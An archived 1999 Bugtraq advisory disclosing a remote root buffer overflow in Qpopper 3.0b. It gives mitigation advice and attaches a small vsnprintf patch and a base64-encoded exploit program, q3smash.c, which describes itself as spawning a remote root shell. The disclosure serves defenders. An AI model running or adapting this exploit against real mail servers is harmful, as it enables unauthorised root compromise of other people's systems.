[12773] in bugtraq
serious Qpopper 3.0 vulnerability
daemon@ATHENA.MIT.EDU (Mixter)
Tue Nov 30 12:14:45 1999
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-493565404-943922963=:6421"
Content-Id: <Pine.LNX.4.04.9911300152180.6421@aviation.net>
Message-Id: <Pine.LNX.4.04.9911300056540.6421-300000@aviation.net>
Date: Tue, 30 Nov 1999 01:53:11 +0100
Reply-To: Mixter <mixter@NEWYORKOFFICE.COM>
From: Mixter <mixter@NEWYORKOFFICE.COM>
X-To: BUGTRAQ@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
--8323328-493565404-943922963=:6421
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.LNX.4.04.9911300152181.6421@aviation.net>
Greetings,
There is a remote buffer overflow in the qpop 3.0 server code
that can lead to remote root compromise. Exploit attached.
Vulnerable versions are all versions of qpop 3.0b,
affected operating systems are _all_ systems that run it.
Versions 2.52 and 2.53 do not contain this bug.
The latest version available is 3.0b20, which is vulnerable,
along with all previous 3.0 versions.
I advise everyone running qpop3.0b servers to shut down the server
IMMEDIATELY by disabling the entry in inetd.conf and then downgrading
to v2.53 or another program until an official patch has been released.
Details: The buffer overflow(s) are present in pop_msg.c (sounds familiar..)
starting at line 68. All configurations and different builds seem to be
vulnerable, as either vsprintf or sprintf are used, which both do not check
bounds on the input buffers for each argument.
Exploiting: The overflow code should not contain characters 0x0c/x17/x20,
because it would get interpreted as more than one argument and hence fail.
Patching: I included a small patch. You should only use inofficial patches
if you totally need to use version 3.0, otherwise downgrade and wait for a
patch from Qualcomm. IF you patch this by yourself, please consider that
the buffer pointer CHANGES and the buffer is about 30 bytes LESS than the
defined MAXLINELEN!!
PS: The installation file suggests to run qpopper without tcpd, e.g.:
pop3 stream tcp nowait root /usr/local/lib/qpopper qpopper -s
I would NOT suggest doing it that way. Use:
pop3 stream tcp nowait root /usr/sbin/tcpd qpopper -s
instead. At least for me it works behind a tcp wrapper, and that way,
you can use access control and every connection _attempt_ gets logged.
Mixter
________________________
mixter@newyorkoffice.com
members.tripod.com/mixtersecurity
--8323328-493565404-943922963=:6421
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="q3smash.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.04.9911300149230.6421@aviation.net>
Content-Description:
Content-Disposition: ATTACHMENT; FILENAME="q3smash.c"
LyoNCiAqIFFwb3BwZXIgMy4wYiByZW1vdGUgZXhwbG9pdCBmb3IgeDg2IExp
bnV4ICh0ZXN0ZWQgb24gUmVkSGF0LzIuMC4zOCkNCiAqDQogKiBEZWMgMTk5
OSBieSBNaXh0ZXIgPG1peHRlckBuZXd5b3Jrb2ZmaWNlLmNvbT4gLyBodHRw
Oi8vMTMzNy50c3gub3JnDQogKg0KICogRXhwbG9pdHMgcG9wX21zZyBidWZm
ZXIgb3ZlcmZsb3cgdG8gc3Bhd24gYSByZW1vdGUgcm9vdCBzaGVsbC4NCiAq
IFRoaXMgcHJvYmFibHkgd29ya3Mgd2l0aCB0aGUgb2xkIHFwb3AyIGNvZGUg
Zm9yIGJzZCwgc29sYXJpcyBhbnlvbmU/DQogKiANCiAqIFdBUk5JTkc6IFlP
VSBBUkUgVVNJTkcgVEhJUyBTT0ZUV0FSRSBPTiBZT1VSIE9XTiBSSVNLLiBU
SElTIElTIEENCiAqIFBST09GLU9GLUNPTkNFUFQgUFJPR1JBTSBBTkQgWU9V
IFRBS0UgRlVMTCBSRVNQT05TSUJJTElUWSBGT1IgV0hBVCBZT1UNCiAqIERP
IFdJVEggSVQhIERPIE5PVCBBQlVTRSBUSElTIEZPUiBJTExJQ0lUIFBVUlBP
U0VTIQ0KICovDQoNCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0
cmluZy5oPg0KI2luY2x1ZGUgPH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sICZyZmRzKSkNCgl7DQoJICBp
ZiAoKGkgPSByZWFkIChjLCBidWYsIHNpemVvZiAoYnVmKSkpIDwgMSkNCgkg
ICAgZXhpdCAoMCk7DQoJICBlbHNlDQoJICAgIHdyaXRlIChwLCBidWYsIGkp
Ow0KCX0NCiAgICAgIGlmIChGRF9JU1NFVCAocCwgJnJmZHMpKQ0KCXsNCgkg
IGlmICgoaSA9IHJlYWQgKHAsIGJ1Ziwgc2l6ZW9mIChidWYpKSkgPCAxKQ0K
CSAgICBleGl0ICgwKTsNCgkgIGVsc2UNCgkgICAgd3JpdGUgKGMsIGJ1Ziwg
aSk7DQoJfQ0KICAgIH0NCn0NCg==
--8323328-493565404-943922963=:6421
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="qp3b20.patch"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.04.9911300149231.6421@aviation.net>
Content-Description:
Content-Disposition: ATTACHMENT; FILENAME="qp3b20.patch"
IyBhcHBseSB0aGlzIGluIHRoZSBxcG9wcGVyMy4wYjIwL3BvcHBlci8gZGly
ZWN0b3J5IHdpdGggcGF0Y2ggPCBxcDNiMjAucGF0Y2gNCi0tLSBwb3BfbXNn
LmMub2xkCU1vbiBOb3YgMjkgMjM6NDI6MDMgMTk5OQ0KKysrIHBvcF9tc2cu
YwlNb24gTm92IDI5IDIzOjUyOjA4IDE5OTkNCkBAIC02NSw3ICs2NSw3IEBA
DQogICAgIC8qICBBcHBlbmQgdGhlIG1lc3NhZ2UgKGZvcm1hdHRlZCwgaWYg
bmVjZXNzYXJ5KSAqLw0KICAgICBpZiAoZm9ybWF0KSB7DQogI2lmZGVmIEhB
VkVfVlBSSU5URg0KLSAgICAgICAgdnNwcmludGYobXAsZm9ybWF0LGFwKTsN
CisgICAgICAgIHZzbnByaW50ZihtcCxNQVhMSU5FTEVOIC0gMTAwLCBmb3Jt
YXQsYXApOw0KICNlbHNlDQogIyBpZmRlZiBQWVJBTUlEDQogCWFyZzEgPS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